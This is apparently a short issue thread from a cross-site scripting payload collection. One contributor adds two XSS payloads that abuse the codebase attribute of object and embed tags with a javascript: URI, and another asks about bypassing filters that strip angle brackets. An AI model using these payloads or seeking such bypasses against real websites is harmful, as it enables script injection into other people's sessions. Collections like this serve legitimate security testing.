Add new payloads (object/embed codebase)

[hahwul]

<object data=# codebase=javascript:alert(document.domain)//>
<embed src=# codebase=javascript:alert(document.domain)//>

[rayamajhii]

Suppose website filters < and >. Do you know any bypass for that ?
or allows < if > is not preset.

@hahwul see this maybe needed
https://developer.apple.com/forums/content/attachment/0233d5fd-a2cf-4ac3-843c-b1ce58672dab